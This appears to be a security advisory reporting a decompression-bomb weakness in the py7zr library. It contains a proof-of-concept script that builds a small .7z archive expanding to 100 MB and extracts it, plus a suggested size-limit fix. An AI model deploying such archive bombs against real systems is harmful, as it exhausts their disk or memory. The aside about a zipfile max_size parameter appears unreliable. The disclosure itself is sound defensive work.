py7zr's Worker.decompress() extracts archive entries without tracking total decompressed size. A crafted .7z file can exhaust disk or memory before the extraction completes.
Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio).
Proof of concept:
import py7zr, tempfile, os
# create bomb: compress 100MB of zeros into ~15KB
bomb_path = tempfile.mktemp(suffix='.7z')
with py7zr.SevenZipFile(bomb_path, 'w') as z:
import io
z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin')
print(f'archive size: {os.path.getsize(bomb_path):,} bytes')
# extract — no size check
with py7zr.SevenZipFile(bomb_path, 'r') as z:
z.extractall(path=tempfile.mkdtemp())
print('extracted 100 MB from ~15 KB archive')
Root cause: Worker.decompress() in py7zr/worker.py writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's zipfile max_size parameter.
Fix: track cumulative decompressed bytes and raise before writing if a limit is exceeded:
MAX_EXTRACT_SIZE = 2 * 1024 ** 3 # 2 GB default, configurable
total = 0
for chunk in decompressed_chunks:
total += len(chunk)
if total > MAX_EXTRACT_SIZE:
raise py7zr.exceptions.DecompressionBombError(
f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes'
)
outfile.write(chunk)
Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.
{
"nvd_published_at": null,
"github_reviewed_at": "2026-06-19T21:16:29Z",
"github_reviewed": true,
"severity": "MODERATE",
"cwe_ids": [
"CWE-409"
]
}